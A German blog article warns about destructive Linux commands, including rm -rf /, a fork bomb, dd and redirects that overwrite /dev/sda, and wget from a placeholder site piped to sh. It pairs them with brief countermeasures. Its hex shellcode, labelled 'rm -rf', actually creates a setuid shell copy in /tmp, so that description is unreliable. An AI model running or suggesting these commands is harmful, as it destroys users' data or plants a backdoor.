Ge­fähr­li­che Be­feh­le, Li­nux-Bom­­ben


In­halts­ver­zeich­nis

Vor­wort
1. rm
2. rm ‑rf in he­xa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. De­vice Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Be­feh­le
Fa­zit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Ma­schi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Ma­schi­ne in­stal­liert und mehr­fach ko­piert.


1. rm

Die be­kann­tes­te Li­nux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad an­zu­ge­ben, auch wenn man in ei­nem Un­ter­ver­zeich­nis ist, denn die­ser Be­fehl geht über die Wur­zel. Und es ist auch hoch be­zahl­ten Ad­mins schon pas­siert.

sudo rm -rf /

Die­ser Be­fehl löscht ohne Nach­fra­ge re­kur­siv al­les ab Wur­zel­ver­zeich­nis. Al­les heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht un­ter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Ge­gen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor un­be­ab­sich­tig­ten lö­schen hel­fen. Wer sich aber dar­an ge­wöhnt und auf ei­nen anderen/neuen Rech­ner kein “safe-rm” in­stal­liert hat, dann ist “rm” ist sei­ner Ge­walt nicht zu brem­sen.
An­sons­ten hilft auch kein be­ten.
Quel­le
Wei­te­res in je­dem Li­nux-Hand­buch und je­der Unix-Be­fehls­re­fe­renz.


2. rm ‑rf in he­xa­de­zi­mal

Ist ge­nau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Un­ter Ubun­tu müss­ten dazu die Pa­ke­te re­lease und bikes­hed in­stal­liert sein. Hat bei mir un­ter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und da­mit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die de­fi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine ty­pi­sche Fork­bomb. Funk­tio­niert un­ter Ubun­tu. Bös­ar­tig, es wird am An­fang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Ge­gen­maß­nah­me
Schutz gibt es, wenn die Da­tei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das In­ter­net hilft bei vie­len Ge­le­gen­hei­ten, aber er­setzt nicht das ei­ge­ne Den­ken. Ko­pie­ren und Ein­fü­gen kann ge­fähr­lich sein. Hin­ter ei­ner harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Ge­gen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht im­mer :-)


5. De­vice Null

Das Ge­rät Null ist tat­säch­lich ent­stan­den um Da­ten, die als un­wich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Be­fehls­zei­le löscht das ge­sam­te /home-Ver­zeich­nis des an­ge­mel­de­tem Be­nut­zers.

mv ~ /dev/null

In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun ha­ben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den In­halt ei­nes Ver­zeich­nis als Text­da­tei ab­zu­le­gen. Und bei Än­de­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Da­tei am Ende nach.

ls > /dev/sda

Wird aber die­ser Be­fehl aus­ge­führt über­schreibt er die ge­nann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein an­de­rer Be­fehl ge­nom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Im­mer erst in ei­ner vir­tu­el­len Ma­schi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Be­quem­lich­keit wie ko­pie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung ge­stellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen In­for­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Be­schrei­bung des Skrip­tes mit dem tat­säch­li­chem In­halt über­ein­stimmt, ist hier nicht plau­si­bel er­wie­sen.
Hat in mei­ner Ubun­tu-In­stal­la­ti­on nicht funk­tio­niert.
Ge­gen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Ge­fahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Ko­pie­ren ge­dacht. Hier ist Miss­brauch mög­lich, um Da­ten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zu­falls­zah­len auf die ge­sam­te Fest­plat­te ge­schrie­ben und so­mit der vor­han­de­ne In­halt ge­löscht.
Ge­gen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Be­feh­le die vor­sich­tig an­ge­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht ge­tes­tet, er­schei­nen aber lo­gisch.

sudo chmod 000 -R /

Rech­te wer­den re­kur­siv ent­zo­gen oder kei­ne er­teilt wie man´s sieht. Da­ten blei­ben aber er­hal­ten.
Mit um­ask wä­ren si­cher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Da­tei mit +i un­ver­än­der­lich set­zen

sudo chattr -i root

At­tri­but wie­der ent­fer­nen


10. Fa­zit

Das sind wohl ei­ni­ge der be­kann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei an­ge­bo­te­ner Hil­fe das ei­ge­ne Den­ken die ers­te Hür­de sein und ein ge­sun­des Maß an Miss­trau­en, ob an­de­re nicht auch Flüch­tig­keits­feh­ler ma­chen, wäre an­ge­bracht.


Quel­len

Li­nux-Hand­buch von Ko­f­ler, Gal­li­leo-Ver­lag
Unix-Be­fehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7‑deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos